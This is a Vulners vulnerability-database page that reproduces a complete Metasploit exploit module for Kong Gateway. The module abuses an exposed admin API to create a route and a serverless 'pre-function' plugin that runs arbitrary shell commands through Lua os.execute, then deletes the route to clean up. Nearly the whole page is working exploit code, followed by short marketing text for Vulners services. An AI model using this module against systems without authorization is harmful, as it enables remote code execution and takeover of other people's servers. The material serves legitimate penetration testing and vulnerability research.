Lucene search
K

Kong Gateway Admin API Remote Code Execution

🗓️ 03 Dec 2020 17:41:24Reported by Graeme RobinsonType 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

Kong Gateway Admin API Remote Code Execution module uses Kong admin API to create a route and a serverless function plugin to execute Lua code and run a system command using os.execute(). After execution, the route and plugin get deleted

Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kong Gateway Admin API Remote Code Execution',
        'Description' => %q{
          This module uses the Kong admin API to create a route and a serverless function plugin that is associated with
          the route. The plugin runs Lua code and is used to run a system command using os.execute(). After execution the
          route is deleted, which also deletes the plugin.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Graeme Robinson'],
        'References' => [
          ['URL', 'https://konghq.com/'],
          ['URL', 'https://github.com/Kong/kong'],
          ['URL', 'https://docs.konghq.com/hub/kong-inc/serverless-functions/']
        ],
        'Platform' => %w[linux macos],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Unix (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_memory
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2020-10-13',
        'DefaultOptions' => { 'RPORT' => 8001 },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )
    register_options(
      [
        OptString.new('PUBLIC-API-RHOST', [false, 'The host where the public API is available, if different to RHOST']),
        OptInt.new('PUBLIC-API-RPORT', [true, 'The port where the public API is available', 8000]),
        OptString.new('TARGETURI', [true, 'URI to the Kong server', '/'])
      ],
      self.class
    )
  end

  def check_response(response, expected, path, description)
    fail_with(Failure::Unreachable, "No response received from #{path} when #{description}") unless response
    return if response.code == expected

    fail_with(Failure::UnexpectedReply,
              "Unexpected response from #{path} when #{description} (received #{response.code}, expected #{expected})")
  end

  def create_route
    path = normalize_uri(target_uri.path, 'routes')
    response = send_request_cgi({
      'method' => 'POST', 'uri' => path,
      'vars_post' => { 'name' => @rand_name, 'paths' => "/#{@rand_name}" }
    })
    check_response(response, 201, path, 'creating route')
  end

  def create_plugin
    # The double square brackets helps to ensure single/double quotes in cmd payload do not interfere with syntax of
    # os.execute Lua function. The ampersand backgrounds the command so that it doesn't cause Kong to hang.
    cmd = %{os.execute([[bash -c "#{payload.encoded}" &]])}
    path = normalize_uri(target_uri.path, 'routes', @rand_name, 'plugins')
    response = send_request_cgi({
      'method' => 'POST', 'uri' => path,
      'vars_post' => { 'name' => 'pre-function', 'config.access' => cmd }
    })
    check_response(response, 201, path, 'creating plugin')
  end

  def request_route
    path = normalize_uri(target_uri.path, @rand_name)
    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
    retry_count = 0
    begin
      response = send_request_cgi({ 'uri' => path, 'rhost' => rhost, 'rport' => rport })
      check_response(response, 503, path, 'requesting route')
    rescue Msf::Exploit::Failed
      maximum_retries = 3
      if retry_count <= maximum_retries
        retry_count += 1
        print_status("Route not yet available, trying again - attempt #{retry_count}/#{maximum_retries}")
        sleep(retry_count**2)
        retry
      end
      raise
    end
  end

  def delete_route
    path = normalize_uri(target_uri.path, 'routes', @rand_name)

    # Delete it
    response = send_request_cgi({ 'method' => 'DELETE', 'uri' => path })
    check_response(response, 204, path, 'deleting route')

    # Check Whether it deleted
    response = send_request_cgi({ 'uri' => path })
    check_response(response, 404, path, 'verifying that route has been deleted')
  end

  def check
    @route_cleanup_required = false
    # Check admin API
    response = send_request_cgi
    return CheckCode::Unknown unless response
    return CheckCode::Safe unless response.get_json_document['tagline'] == 'Welcome to kong'

    # Check public API
    rhost = datastore['PUBLIC-API-RHOST'] if datastore['PUBLIC-API-RHOST']
    rport = datastore['PUBLIC-API-RPORT'] if datastore['PUBLIC-API-RPORT']
    path = normalize_uri(target_uri.path, @rand_name)
    response = send_request_cgi({ 'rport' => rport, 'rhost' => rhost, 'uri' => path })
    return CheckCode::Unknown unless response
    return CheckCode::Safe unless response.get_json_document['message'] == 'no Route matched with those values'

    CheckCode::Appears
  end

  def exploit
    @rand_name = rand_text_alphanumeric(10)
    @route_cleanup_required = false
    fail_with(Failure::UnexpectedReply, 'Admin API not detected') unless check == CheckCode::Appears
    @route_cleanup_required = true
    create_route
    vprint_good("Created route #{@rand_name}")
    create_plugin
    vprint_good("Created plugin for route #{@rand_name}")
    request_route
    vprint_good("Requested route #{@rand_name} using public API")
  end

  def cleanup
    return unless @route_cleanup_required

    delete_route
    vprint_good("Deleted route #{@rand_name}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Jan 2026 18:57Current
7.5High risk
Vulners AI Score7.5
21